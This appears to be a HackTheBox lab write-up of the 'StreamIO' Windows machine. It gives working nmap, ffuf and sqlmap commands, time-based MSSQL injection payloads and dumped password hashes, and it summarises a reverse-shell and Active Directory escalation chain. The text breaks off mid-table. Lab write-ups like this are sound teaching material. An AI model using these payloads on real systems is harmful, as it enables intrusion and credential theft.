StreamIO

Summary

This machine is labeled "medium," but it was much harder for me than Talkative, which is a "hard" machine, because of a heavy amount of enumeration and a Windows privilege escalation technique I was not aware of previously.
Nmap shows two virtual hosts from an SSL certificate: streamIO.htb and watch.streamIO.htb. After a lot of directory bruteforcing, we find an admin directory (https://streamio.htb/admin), a php file that can only be used with includes (https://streamio.htb/admin/master.php), and a search page (https://watch.streamio.htb/search.php). sqlmap reveals that both the username field to login to https://streamio.htb and the search bar on the search page are vulnerable to "Microsoft SQL Server/Sybase stacked queries (comment)." This is a time-based injection. We slowly map out the databases and tables and then dump the users table over the course of more than 5 hours (time-based injection can only get about 1 character every 2-6 seconds). Using CrackStation, we crack several passwords and find credentials that log us into https://streamio.htb.
Once signed in, we have access to the previous found admin page. We fuzz URL parameters and find a debug parameter. Then, we fuzz values for the debug parameter and discover it is vulnerable to LFI. We use PHP filter URIs to get the contents of index.php and the previously fuzzed master.php. This gives us the password for the db_admin user, which we will use later. Setting the debug GET parameter of index.php to master.php means we can load functionality in master.php, which just so happens to get the file contents of the POST parameter include and pass it to eval. Therefore, we get a Meterpreter reverse shell by loading a file via HTTP from our machine that downloads and runs a Metasploit reverse shell payload via a call to PHP's system function.
Once on the box, we use WinPEAS and realize that MS SQL is running on port 1433. We forward that port to our attacker machine using the Meterpreter's portfwd function. Then, we use impacket's mssqlclient.py to connect to the database using the previously found credentials and we dump the tables we were unable to dump before. This gives us a crackable hash of nikk37's password. Then, we use evil-winrm to authenticate as nikk37.
Once we've moved laterally to the nikk37 user, we run WinPEAS again and find a Firefox credential database. We extract the credentials using firepwd. Then, we use crackmapexec to check if any credentials we have are valid. We have valid credentials for the JDgodd user.
We cannot connect remotely as JDgodd. So, we scan the machine using SharpHound and BloodHound. We learn that the JDgodd user has WriteOwner permissions on the CORE_STAFF group, and that group has the ability to read the LAPS password. So, from nikk37's shell we use JDgodd's credentials to 1) make JDgodd the owner of CORE_STAFF, 2) give JDgodd all permissions on CORE_STAFF (since he is the owner), and 3) make JDgodd a member of CORE_STAFF. Finally, we simply read the LAPS password with JDgodd's credentials and using evil-winrm to authenticate as the Administrator.

Enumeration

Nmap

First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.158 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.158.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-07-29 08:59:58Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| tls-alpn:
|_ http/1.1
|_ssl-date: 2022-07-29T09:01:27+00:00; +6h59m52s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after: 2022-03-24T07:03:28
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
50127/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-07-29T09:00:51
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 6h59m52s, deviation: 0s, median: 6h59m51s
Let's add the streamIO.htb and watch.streamIO.htb domains (found in the SSL cert from nmap) to /etc/hosts: echo "10.10.11.158 streamIO.htb\n10.10.11.158 watch.streamIO.htb" | sudo tee -a /etc/hosts.

Virtual Host Scanning

Now that we know the domain name, we can scan for other virtual hosts. Let's scan for subdomains with ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u https://streamio.htb/ -H "Host: FUZZ.streamio.htb" -fs 703:
watch [Status: 200, Size: 2829, Words: 202, Lines: 79, Duration: 95ms]
:: Progress: [114441/114441] :: Job [1/1] :: 170 req/sec :: Duration: [0:12:58] :: Errors: 0 ::
This only finds the other virtual host we already knew about.

Directory bruteforcing

Bruteforcing for directories on streamIO.htb port 80 via ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://streamio.htb/FUZZ reveals nothing. Nothing is found on http://watch.streamIO.htb either.
Navigating to the pages themselves just shows a default Windows Server page. However, going to the https versions on port 443 shows valid webpages.
https://streamIO.htb:
https://watch.streamIO.htb:
Let's scan the https versions for directories.
$ ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://streamio.htb/FUZZ
Images [Status: 301, Size: 151, Words: 9, Lines: 2, Duration: 52ms]
admin [Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 54ms]
css [Status: 301, Size: 148, Words: 9, Lines: 2, Duration: 71ms]
js [Status: 301, Size: 147, Words: 9, Lines: 2, Duration: 57ms]
fonts [Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 53ms]
IMAGES [Status: 301, Size: 151, Words: 9, Lines: 2, Duration: 52ms]
Fonts [Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 54ms]
Admin [Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 51ms]
CSS [Status: 301, Size: 148, Words: 9, Lines: 2, Duration: 51ms]
JS [Status: 301, Size: 147, Words: 9, Lines: 2, Duration: 57ms]
[Status: 200, Size: 13497, Words: 5027, Lines: 395, Duration: 59ms]
:: Progress: [87664/87664] :: Job [1/1] :: 703 req/sec :: Duration: [0:02:42] :: Errors: 0 ::
$ ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://watch.streamio.htb/FUZZ
static [Status: 301, Size: 157, Words: 9, Lines: 2, Duration: 57ms]
Static [Status: 301, Size: 157, Words: 9, Lines: 2, Duration: 54ms]
[Status: 200, Size: 2829, Words: 202, Lines: 79, Duration: 57ms]
:: Progress: [87664/87664] :: Job [1/1] :: 717 req/sec :: Duration: [0:02:48] :: Errors: 0 ::
Interestingly, the found /admin directory on streamio.htb simply shows FORBIDDEN when loaded. No other important directories are found though.
We can also scan for php files since we have seen the php extension while browsing the site:
$ ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://watch.streamio.htb/FUZZ.php
index [Status: 200, Size: 2829, Words: 202, Lines: 79, Duration: 60ms]
search [Status: 200, Size: 253887, Words: 12366, Lines: 7194, Duration: 130ms]
Search [Status: 200, Size: 253887, Words: 12366, Lines: 7194, Duration: 73ms]
Index [Status: 200, Size: 2829, Words: 202, Lines: 79, Duration: 54ms]
INDEX [Status: 200, Size: 2829, Words: 202, Lines: 79, Duration: 54ms]
SEARCH [Status: 200, Size: 253887, Words: 12366, Lines: 7194, Duration: 71ms]
blocked [Status: 200, Size: 677, Words: 28, Lines: 20, Duration: 55ms]
:: Progress: [87651/87651] :: Job [1/1] :: 725 req/sec :: Duration: [0:02:09] :: Errors: 0 ::
$ ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://streamio.htb/FUZZ.php
about [Status: 200, Size: 7825, Words: 2228, Lines: 231, Duration: 93ms]
contact [Status: 200, Size: 6434, Words: 2010, Lines: 206, Duration: 90ms]
login [Status: 200, Size: 4145, Words: 796, Lines: 111, Duration: 106ms]
index [Status: 200, Size: 13497, Words: 5027, Lines: 395, Duration: 95ms]
register [Status: 200, Size: 4500, Words: 905, Lines: 121, Duration: 57ms]
About [Status: 200, Size: 7825, Words: 2228, Lines: 231, Duration: 59ms]
Contact [Status: 200, Size: 6434, Words: 2010, Lines: 206, Duration: 61ms]
Index [Status: 200, Size: 13497, Words: 5027, Lines: 395, Duration: 60ms]
Login [Status: 200, Size: 4145, Words: 796, Lines: 111, Duration: 57ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 55ms]
Register [Status: 200, Size: 4500, Words: 905, Lines: 121, Duration: 61ms]
INDEX [Status: 200, Size: 13497, Words: 5027, Lines: 395, Duration: 60ms]
Logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 58ms]
CONTACT [Status: 200, Size: 6434, Words: 2010, Lines: 206, Duration: 58ms]
ABOUT [Status: 200, Size: 7825, Words: 2228, Lines: 231, Duration: 117ms]
:: Progress: [87651/87651] :: Job [1/1] :: 722 req/sec :: Duration: [0:02:09] :: Errors: 0 ::
The https://watch.streamio.htb/search.php page is interesting:
Let's look back at that /admin directory. The fact that a directory says "FORBIDDEN" instead of the usual 404 page is strange, so let's fuzz for files in the /admin directory by running ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://streamio.htb/admin/FUZZ.php:
index [Status: 403, Size: 18, Words: 1, Lines: 1, Duration: 56ms]
Index [Status: 403, Size: 18, Words: 1, Lines: 1, Duration: 56ms]
master [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 56ms]
INDEX [Status: 403, Size: 18, Words: 1, Lines: 1, Duration: 58ms]
Master [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 60ms]
MASTER [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 57ms]
:: Progress: [87651/87651] :: Job [1/1] :: 735 req/sec :: Duration: [0:02:06] :: Errors: 0 ::
The https://streamio.htb/admin/master.php page is new:

SQL Injection

On https://streamio.htb we can register, so let's do that and create an account:
Clicking the login link at the bottom of the sign up page causes a redirect to https://streamio.htb/user-login.html, which 404s. Going to the login page on the home page (https://streamio.htb/login.php) works and we attempt to sign in, but we are told "Login failed." So, there is probably some issue with the login logic. Let's see if it is vulnerable to SQL injection with sqlmap (very helpful documentation, HackTricks page).
Run sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent:
[22:55:50] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.02' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[22:55:50] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=td5scf51tu8...7prl49rala'). Do you want to use those [Y/n] y
[22:55:53] [INFO] testing if the target URL content is stable
[22:55:53] [INFO] target URL content is stable
[22:55:53] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[22:55:54] [INFO] testing for SQL injection on POST parameter 'username'
[22:55:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:55:55] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[22:55:56] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:55:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:55:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[22:56:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[22:56:01] [INFO] testing 'Generic inline queries'
[22:56:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[22:56:02] [WARNING] time-based comparison requires larger statistical model, please wait. (done)
[22:56:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[22:56:14] [INFO] POST parameter 'username' appears to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
it looks like the back-end DBMS is 'Microsoft SQL Server/Sybase'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'Microsoft SQL Server/Sybase' extending provided level (1) and risk (1) values? [Y/n] y
[22:56:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:56:58] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:57:05] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
---
[22:57:27] [INFO] testing Microsoft SQL Server
[22:57:27] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
y
[23:07:14] [INFO] confirming Microsoft SQL Server
[23:07:14] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[23:07:14] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the request(s)
[23:07:20] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2016 or 10 or 2019
web application technology: Microsoft IIS 10.0, PHP, PHP 7.2.26
back-end DBMS: Microsoft SQL Server 2019
[23:07:20] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/streamio.htb'
So, the username parameter is injectable. Let's list the tables in each database by running sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent --tables:
[23:10:35] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 (.NET CLR 3.5.30729)' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[23:10:35] [INFO] resuming back-end DBMS 'microsoft sql server'
[23:10:35] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=78oltq18qn0...7lqrlic51f'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
---
[23:10:37] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2016 or 2019 or 10
web application technology: PHP, Microsoft IIS 10.0, PHP 7.2.26
back-end DBMS: Microsoft SQL Server 2019
[23:10:37] [INFO] fetching database names
[23:10:37] [INFO] fetching number of databases
[23:10:37] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[23:10:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[23:11:06] [INFO] adjusting time delay to 2 seconds due to good response times
6
[23:11:07] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[23:11:24] [INFO] adjusting time delay to 1 second due to good response times
model
[23:11:49] [INFO] retrieved: msdb
[23:12:11] [INFO] retrieved: STREAMIO
[23:12:54] [INFO] retrieved:
[23:13:00] [ERROR] invalid character detected. retrying..
[23:13:00] [WARNING] increasing time delay to 2 seconds
streamio_b
[23:14:34] [ERROR] invalid character detected. retrying..
[23:14:34] [WARNING] increasing time delay to 3 seconds
ackup
[23:15:28] [INFO] retrieved: tempdb
[23:16:43] [INFO] retrieved:
[23:16:43] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[23:16:43] [INFO] fetching tables for databases: STREAMIO, model, msdb, streamio_backup, tempdb
[23:16:43] [INFO] fetching number of tables for database 'STREAMIO'
[23:16:43] [INFO] retrieved: 2
[23:16:52] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
dbo.movies
[23:19:09] [INFO] retrieved: dbo.users
[23:20:21] [INFO] fetching number of tables for database 'streamio_backup'
[23:20:21] [INFO] retrieved:
[23:20:22] [INFO] retrieved: 0
[23:20:31] [INFO] fetching number of tables for database 'msdb'
[23:20:31] [INFO] retrieved: 23
[23:20:50] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
dbo.autoadmin_backup_confi^C
I kill the command after many minutes because this is a time-based exploit so each character takes about 2-3 seconds to come through.
Note that we cannot access the streamio_backup database. Trying to run sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D streamio_backup --tables --batch errors out with [CRITICAL] unable to retrieve the tables for any database.
Importantly, the STREAMIO database has two tables: movies and users. Let's try to get some user credentials. First, let's retrieve the columns using sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users --columns:
[23:29:05] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 (.NET CLR 3.0.30618)' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[23:29:05] [INFO] resuming back-end DBMS 'microsoft sql server'
[23:29:05] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=265sug9q54k...nt0lfv9a71'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
---
[23:29:07] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2019 or 2016 or 10
web application technology: Microsoft IIS 10.0, PHP 7.2.26, PHP
back-end DBMS: Microsoft SQL Server 2019
[23:29:07] [INFO] fetching columns for table 'users' in database 'STREAMIO'
[23:29:07] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[23:29:36] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
4
[23:29:38] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[23:29:58] [INFO] adjusting time delay to 2 seconds due to good response times
id
[23:30:11] [INFO] retrieved: int
[23:30:42] [INFO] retrieved: is_staff
[23:31:59] [INFO] retrieved: bit
[23:32:29] [INFO] retrieved: pas
[23:33:06] [ERROR] invalid character detected. retrying..
[23:33:06] [WARNING] increasing time delay to 3 seconds
sword
[23:34:10] [INFO] retrieved: nchar
[23:35:08] [INFO] retrieved: user
[23:36:04] [ERROR] invalid character detected. retrying..
[23:36:04] [WARNING] increasing time delay to 4 seconds
[23:36:24] [ERROR] invalid character detected. retrying..
[23:36:24] [WARNING] increasing time delay to 5 seconds
name
[23:37:25] [INFO] retrieved: nchar
Database: STREAMIO
Table: users
[4 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| id | int |
| is_staff | bit\x02 |
| password | nchar |
| username | nchar |
+----------+---------+
[23:38:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/streamio.htb'
Now, we can grab a user from the users table in the STREAMIO database. Since is_staff is a bit, let's get all the user's usernames and passwords where is_staff=1 by running sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users -C id,is_staff,password,username --where "is_staff=1" --dump. This command just continuously outputs [23:49:35] [INFO] retrieved: without any data. However, sqlmap suggested the following:
[23:49:26] [WARNING] in case of table dumping problems (e.g. column entry order) you are advised to rerun with '--force-pivoting'
Sure enough, rerunning with --force-pivoting seems to fix the problem:
$ sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users -C id,is_staff,password,username --where "is_staff=1" --dump --force-pivoting
[23:50:32] [INFO] fetching number of column(s) 'id,is_staff,password,username' entries for table 'users' in database 'STREAMIO'
[23:50:32] [INFO] resumed: 29
[23:50:32] [INFO] fetching number of distinct values for column 'id'
[23:50:32] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[23:50:42] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
2
[23:51:01] [INFO] adjusting time delay to 2 seconds due to good response times
9
[23:51:07] [INFO] using column 'id' as a pivot for retrieving row data
[23:51:07] [INFO] retrieved: 10
[23:51:19] [INFO] retrieved: 1
[23:51:27] [INFO] retrieved: 3577c47eb1e12c8ba021611e1280753c
[00:00:16] [INFO] retrieved: Tha
[00:00:54] [ERROR] invalid character detected. retrying..
[00:00:54] [WARNING] increasing time delay to 3 seconds
ne
[00:17:18] [INFO] retrieved: 11
[00:17:35] [INFO] retrieved: 1
[00:17:44] [INFO] retrieved: 35394484d89fcfdb3c5e447fe749d213
[00:30:54] [INFO] retrieved: C^C
[00:31:04] [WARNING] user aborted during enumeration. sqlmap will display partial output
Database: STREAMIO
Table: users
[1 entry]
+----+----------+----------------------------------------------------+----------------------------------------------------+
| id | is_staff | password | username |
+----+----------+----------------------------------------------------+----------------------------------------------------+
| 10 | 1 | 3577c47eb1e12c8ba021611e1280753c | Thane |
+----+----------+----------------------------------------------------+----------------------------------------------------+
This attack takes a long time. We can crack Thane's password hash using CrackStation, but signing in as this user doesn't work. There are multiple users so we could try them all, but the SQL injection is going to take a long time. Since it will take a long time we run with --level 5 --risk 3 to scan for potential other methods:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
Type: time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF)
Payload: username=a' WAITFOR DELAY '0:0:5'-- tzgk&password=a
---
However, we only get time-based methods so that's unfortunate. Additionally, the search parameter on https://watch.streamio.htb/search.php is also injectable, but it too is a time-based injection:
---
Parameter: q (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: q=a%' AND 1154=1154 AND 'rteQ%'='rteQ
---
We will use this StackOverflow answer to automatically run the command again if it fails:
$ for i in 1 2 3 4 5; do sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users -C id,username,password --where "is_staff=1" --dump --force-pivoting --batch --pivot-column id && break || sleep 15; done
[02:04:52] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux x86_64; hu; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[02:04:53] [INFO] resuming back-end DBMS 'microsoft sql server'
[02:04:53] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=pspmg1umdmo...j1q4ij1spi'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: username=a';WAITFOR DELAY '0:0:5'--&password=a
---
[02:04:53] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2016 or 10 or 2019
web application technology: PHP 7.2.26, Microsoft IIS 10.0, PHP
back-end DBMS: Microsoft SQL Server 2019
[02:04:53] [INFO] fetching entries of column(s) 'id,password,username' for table 'users' in database 'STREAMIO'
[02:04:53] [INFO] fetching number of column(s) 'id,password,username' entries for table 'users' in database 'STREAMIO'
[02:04:53] [INFO] resumed: 29
[02:04:53] [INFO] using column 'id' as a pivot for retrieving row data
[02:04:53] [INFO] resumed: 10
[02:04:53] [INFO] resuming partial value: 3
[02:04:53] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[02:04:58] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[02:05:14] [INFO] adjusting time delay to 1 second due to good response times
577c47eb1e12c8ba021611e1280753c
[02:09:51] [INFO] retrieved: Thane
[02:16:09] [INFO] retrieved: 11
[02:16:17] [INFO] retrieved: 35394484d89fcfdb3c5e447fe749d213
[02:21:24] [INFO] retrieved: Carmon
[02:27:39] [INFO] retrieved: 12
[02:27:47] [INFO] retrieved: 54c88b2dbd7b1a84012fabc1a4c73415
[02:32:35] [INFO] retrieved: Barry
[02:38:50] [INFO] retrieved: 13
[02:38:59] [INFO] retrieved: fd78db29173a5cf701bd69027cb9bf6b
[02:43:53] [INFO] retrieved: Oliver
[02:50:13] [INFO] retrieved: 14
[02:50:23] [INFO] retrieved: b83439b16f844bd6ffe35c02fe21b3c0
[02:55:35] [INFO] retrieved: Michelle
[03:01:45] [INFO] retrieved: 15
[03:01:52] [INFO] retrieved: 0cfaaaafb559f081df2befbe66686de0
[03:06:48] [INFO] retrieved: Gloria
[03:13:03] [INFO] retrieved: 16
[03:13:11] [INFO] retrieved: b22abb47a02b52d5dfa27fb0b534f693
[03:18:20] [INFO] retrieved: Victoria
[03:24:28] [INFO] retrieved: 17
[03:24:36] [INFO] retrieved: 1c2b3d8270321140e5153f6637d3ee53
[03:29:29] [INFO] retrieved: Alexendra
[03:35:34] [INFO] retrieved: 18
[03:35:44] [INFO] retrieved: 22ee218331afd081b0dcd8115284bae3
[03:40:40] [INFO] retrieved: Baxter
[03:46:56] [INFO] retrieved: 19
[03:47:07] [INFO] retrieved: ef8f3d30a856cf166fb8215aca93e9ff
[03:52:08] [INFO] retrieved: Clara
[03:58:25] [INFO] retrieved: 20
[03:58:32] [INFO] retrieved: 3961548825e3e21df5646cafe11c6c76
[04:03:26] [INFO] retrieved: Barbra
[04:09:38] [INFO] retrieved: 21
[04:09:46] [INFO] retrieved: ee0b8a0937abd60c2882eacb2f8dc49f
[04:14:58] [INFO] retrieved: Lenord
[04:21:17] [INFO] retrieved: 22
[04:21:25] [INFO] retrieved: 0049ac57646627b8d7aeaccf8b6a936f
[04:26:29] [INFO] retrieved: Austin
[04:32:55] [INFO] retrieved: 23
[04:33:05] [INFO] retrieved: 8097cedd612cc37c29
[04:34:37] [ERROR] invalid character detected. retrying..
[04:34:37] [WARNING] increasing time delay to 2 seconds
db152b6e9edbd3
[04:40:37] [INFO] retrieved: Garfield
[04:51:20] [INFO] retrieved: 24
[04:51:38] [INFO] retrieved: 6dcd87740abb64edf
[04:54:01] [INFO] adjusting time delay to 1 second due to good response times
a36d170f0d5450d
[04:57:34] [INFO] retrieved: Juliette
[05:03:43] [INFO] retrieved: 25
[05:03:52] [INFO] retrieved: bf55e15b119860a6e6b5a164377da719
[05:08:48] [INFO] retrieved: Victor
[05:15:07] [INFO] retrieved: 26
[05:15:16] [INFO] retrieved: 7df45a9e3de3863807c026ba48e55fb3
[05:20:25] [INFO] retrieved: Lucifer
[05:26:37] [INFO] retrieved: 27
[05:26:46] [INFO] retrieved: 2a4e2cf22dd8fcb45adcb91be1e22ae8
[05:31:40] [INFO] retrieved: Bruno
[05:38:02] [INFO] retrieved: 28
[05:38:13] [INFO] retrieved: ec33265e5fc8c2f1b0c137bb7b3632b5
[05:43:08] [INFO] retrieved: Diablo
[05:49:24] [INFO] retrieved: 29
[05:49:36] [INFO] retrieved: dc332fb5576e9631c9dae83f194f8e70
[05:54:38] [INFO] retrieved: Robin
[06:00:59] [INFO] retrieved: 3
[06:01:04] [INFO] retrieved: c660060492d9edcaa8332d89c99c9239
[06:06:03] [INFO] retrieved: James
[06:12:20] [INFO] retrieved: 30
[06:12:27] [INFO] retrieved: 384463526d288edcc95fc3701e523bc7
[06:17:20] [INFO] retrieved: Stan
[06:23:45] [INFO] retrieved: 31
[06:23:53] [INFO] retrieved: b779ba15cedfd22a023c4d8bcf5f2332
[06:28:47] [INFO] retrieved: yoshihide
[06:34:55] [INFO] retrieved: 4
[06:35:01] [INFO] retrieved: 925e5408ecb67aea449373d668b7359e
[06:40:02] [INFO] retrieved: Theodore
[06:46:15] [INFO] retrieved: 5
[06:46:20] [INFO] retrieved: 083ffae904143c4796e464dac33c1f7d
[06:51:20] [INFO] retrieved: Samantha
[06:57:26] [INFO] retrieved: 6
[06:57:32] [INFO] retrieved: 08344b85b329d7efd611b7a7743e8a09
[07:02:47] [INFO] retrieved: Lauren
[07:09:04] [INFO] retrieved: 7
[07:09:10] [INFO] retrieved: d62be0dc82071bccc1322d64ec5b6c51
[07:14:01] [INFO] retrieved: William
[07:20:13] [INFO] retrieved: 8
[07:20:20] [INFO] retrieved: f87d3c0d6c8fd686aacc6627f1f493a5
[07:25:36] [INFO] retrieved: Sabrina
[07:31:45] [INFO] retrieved: 9
[07:31:50] [INFO] retrieved: f03b910e2bd0313a23fdd7575f34a694
[07:37:06] [INFO] retrieved: Robert
Database: STREAMIO
Table: users
[29 entries]
+----+-----------+----------------------------------+
| id | username | password |
+----+-----------+----------------------------------+
| 10 | Thane | 3577c47eb1e12c8ba021611e1280753c |
| 11 | Carmon | 35394484d89fcfdb3c5e447fe749d213 |
| 12 | Barry | 54c88b2dbd7b1a84012fabc1a4c73415 |
| 13 | Oliver | fd78db29173a5cf701bd69027cb9bf6b |
| 14 | Michelle | b83439b16f844bd6ffe35c02fe21b3c0 |
| 15 | Gloria | 0cfaaaafb559f081df2befbe66686de0 |
| 16 | Victoria | b22abb47a02b52d5dfa27fb0b534f693 |
